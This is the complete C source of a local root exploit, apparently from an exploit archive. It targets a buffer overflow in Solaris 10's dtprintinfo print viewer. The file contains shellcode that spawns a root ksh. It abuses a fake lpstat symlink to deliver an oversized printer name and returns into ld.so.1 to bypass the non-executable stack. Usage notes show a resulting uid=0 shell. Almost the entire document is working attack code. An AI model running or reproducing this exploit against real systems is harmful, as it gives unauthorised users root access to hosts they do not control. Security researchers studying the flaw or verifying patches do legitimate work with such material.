Solaris 10 1/13 (Intel) – ‘dtprintinfo’ Local Privilege Escalation (1)
/* * raptor_dtprintname_intel.c - dtprintinfo 0day, Solaris/Intel * Copyright (c) 2004-2019 Marco Ivaldi <raptor@0xdeadbeef.info> * * 0day buffer overflow in the dtprintinfo(1) CDE Print Viewer, leading to * local root. Many thanks to Dave Aitel for discovering this vulnerability * and for his interesting research activities on Solaris/SPARC. * * "None of my dtprintinfo work is public, other than that 0day pack being * leaked to all hell and back. It should all basically still work. Let's * keep it that way, cool? :>" -- Dave Aitel * * This exploit uses the ret-into-ld.so technique to bypass the non-exec * stack protection. If experiencing troubles with null-bytes inside the * ld.so.1 memory space, try returning to sprintf() instead of strcpy(). * * Usage: * $ gcc raptor_dtprintname_intel.c -o raptor_dtprintname_intel -Wall * [on your xserver: disable the access control] * $ ./raptor_dtprintname_intel 192.168.1.1:0 * [...] * # id * uid=0(root) gid=1(other) * # * * Tested on: * SunOS 5.10 Generic_147148-26 i86pc i386 i86pc (Solaris 10 1/13) * [previous Solaris versions are also vulnerable] */ #include <fcntl.h> #include <link.h> #include <procfs.h> #include <stdio.h> #include <stdlib.h> #include <strings.h> #include <unistd.h> #include <sys/systeminfo.h> #define INFO1 "raptor_dtprintname_intel.c - dtprintinfo 0day, Solaris/Intel" #define INFO2 "Copyright (c) 2004-2019 Marco Ivaldi <raptor@0xdeadbeef.info>" #define VULN "/usr/dt/bin/dtprintinfo" // the vulnerable program #define BUFSIZE 301 // size of the printer name char sc[] = /* Solaris/x86 shellcode (8 + 8 + 27 = 43 bytes) */ /* double setuid() */ "\x31\xc0\x50\x50\xb0\x17\xcd\x91" "\x31\xc0\x50\x50\xb0\x17\xcd\x91" /* execve() */ "\x31\xc0\x50\x68/ksh\x68/bin" "\x89\xe3\x50\x53\x89\xe2\x50" "\x52\x53\xb0\x3b\x50\xcd\x91"; /* globals */ char *env[256]; int env_pos = 0, env_len = 0; /* prototypes */ int add_env(char *string); void check_zero(int addr, char *pattern); int search_ldso(char *sym); int search_rwx_mem(void); void set_val(char *buf, int pos, int val); /* * main() */ int main(int argc, char **argv) { char buf[BUFSIZE], ksh_var[16]; char platform[256], release[256], display[256]; int i, offset, sc_addr, ksh_pos; int plat_len, prog_len; char *arg[2] = {"foo", NULL}; int sb = ((int)argv[0] | 0xfff); /* stack base */ int ret = search_ldso("strcpy"); /* or sprintf */ int rwx_mem = search_rwx_mem(); /* rwx memory */ /* fake lpstat code */ if (!strcmp(argv[0], "lpstat")) { /* check command line */ if (argc != 2) exit(1); /* get the shellcode address from the environment */ sc_addr = (int)strtoul(getenv("KSH"), (char **)NULL, 0); /* prepare the evil printer name */ memset(buf, 'A', sizeof(buf)); buf[sizeof(buf) - 1] = 0x0; /* fill with ld.so.1 address, saved eip, and arguments */ for (i = 0; i < BUFSIZE; i += 4) { set_val(buf, i, ret); /* strcpy */ set_val(buf, i += 4, rwx_mem); /* saved eip */ set_val(buf, i += 4, rwx_mem); /* 1st argument */ set_val(buf, i += 4, sc_addr); /* 2nd argument */ } /* print the expected output and exit */ if(!strcmp(argv[1], "-v")) { fprintf(stderr, "lpstat called with -v\n"); printf("device for %s: /dev/null\n", buf); } else { fprintf(stderr, "lpstat called with -d\n"); printf("system default destination: %s\n", buf); } exit(0); } /* print exploit information */ fprintf(stderr, "%s\n%s\n\n", INFO1, INFO2); /* read command line */ if (argc != 2) { fprintf(stderr, "usage: %s xserver:display\n\n", argv[0]); exit(1); } sprintf(display, "DISPLAY=%s", argv[1]); /* get some system information */ sysinfo(SI_PLATFORM, platform, sizeof(platform) - 1); sysinfo(SI_RELEASE, release, sizeof(release) - 1); /* fill the envp, keeping padding */ add_env(sc); ksh_pos = env_pos; add_env("KSH=0x42424242"); add_env(display); add_env("PATH=.:/usr/bin"); add_env("HOME=/tmp"); add_env(NULL); /* calculate the offset to the shellcode */ plat_len = strlen(platform) + 1; prog_len = strlen(VULN) + 1; offset = 5 + env_len + plat_len + prog_len; /* calculate the shellcode address */ sc_addr = sb - offset; /* overwrite the KSH env var with the right address */ sprintf(ksh_var, "KSH=0x%x", sc_addr); env[ksh_pos] = ksh_var; /* create a symlink for the fake lpstat */ unlink("lpstat"); symlink(argv[0], "lpstat"); /* print some output */ fprintf(stderr, "Using SI_PLATFORM\t: %s (%s)\n", platform, release); fprintf(stderr, "Using stack base\t: 0x%p\n", (void *)sb); fprintf(stderr, "Using rwx_mem address\t: 0x%p\n", (void *)rwx_mem); fprintf(stderr, "Using sc address\t: 0x%p\n", (void *)sc_addr); fprintf(stderr, "Using strcpy() address\t: 0x%p\n\n", (void *)ret); /* run the vulnerable program */ execve(VULN, arg, env); perror("execve"); exit(0); } /* * add_env(): add a variable to envp and pad if needed */ int add_env(char *string) { int i; /* null termination */ if (!string) { env[env_pos] = NULL; return(env_len); } /* add the variable to envp */ env[env_pos] = string; env_len += strlen(string) + 1; env_pos++; /* pad the envp using zeroes */ if ((strlen(string) + 1) % 4) for (i = 0; i < (4 - ((strlen(string)+1)%4)); i++, env_pos++) { env[env_pos] = string + strlen(string); env_len++; } return(env_len); } /* * check_zero(): check an address for the presence of a 0x00 */ void check_zero(int addr, char *pattern) { if (!(addr & 0xff) || !(addr & 0xff00) || !(addr & 0xff0000) || !(addr & 0xff000000)) { fprintf(stderr, "Error: %s contains a 0x00!\n", pattern); exit(1); } } /* * search_ldso(): search for a symbol inside ld.so.1 */ int search_ldso(char *sym) { int addr; void *handle; Link_map *lm; /* open the executable object file */ if ((handle = dlmopen(LM_ID_LDSO, NULL, RTLD_LAZY)) == NULL) { perror("dlopen"); exit(1); } /* get dynamic load information */ if ((dlinfo(handle, RTLD_DI_LINKMAP, &lm)) == -1) { perror("dlinfo"); exit(1); } /* search for the address of the symbol */ if ((addr = (int)dlsym(handle, sym)) == NULL) { fprintf(stderr, "sorry, function %s() not found\n", sym); exit(1); } /* close the executable object file */ dlclose(handle); check_zero(addr - 4, sym); return(addr); } /* * search_rwx_mem(): search for an RWX memory segment valid for all * programs (typically, /usr/lib/ld.so.1) using the proc filesystem */ int search_rwx_mem(void) { int fd; char tmp[16]; prmap_t map; int addr = 0, addr_old; /* open the proc filesystem */ sprintf(tmp,"/proc/%d/map", (int)getpid()); if ((fd = open(tmp, O_RDONLY)) < 0) { fprintf(stderr, "can't open %s\n", tmp); exit(1); } /* search for the last RWX memory segment before stack (last - 1) */ while (read(fd, &map, sizeof(map))) if (map.pr_vaddr) if (map.pr_mflags & (MA_READ | MA_WRITE | MA_EXEC)) { addr_old = addr; addr = map.pr_vaddr; } close(fd); /* add 4 to the exact address NULL bytes */ if (!(addr_old & 0xff)) addr_old |= 0x04; if (!(addr_old & 0xff00)) addr_old |= 0x0400; return(addr_old); } /* * set_val(): copy a dword inside a buffer (little endian) */ void set_val(char *buf, int pos, int val) { buf[pos] = (val & 0x000000ff); buf[pos + 1] = (val & 0x0000ff00) >> 8; buf[pos + 2] = (val & 0x00ff0000) >> 16; buf[pos + 3] = (val & 0xff000000) >> 24; } |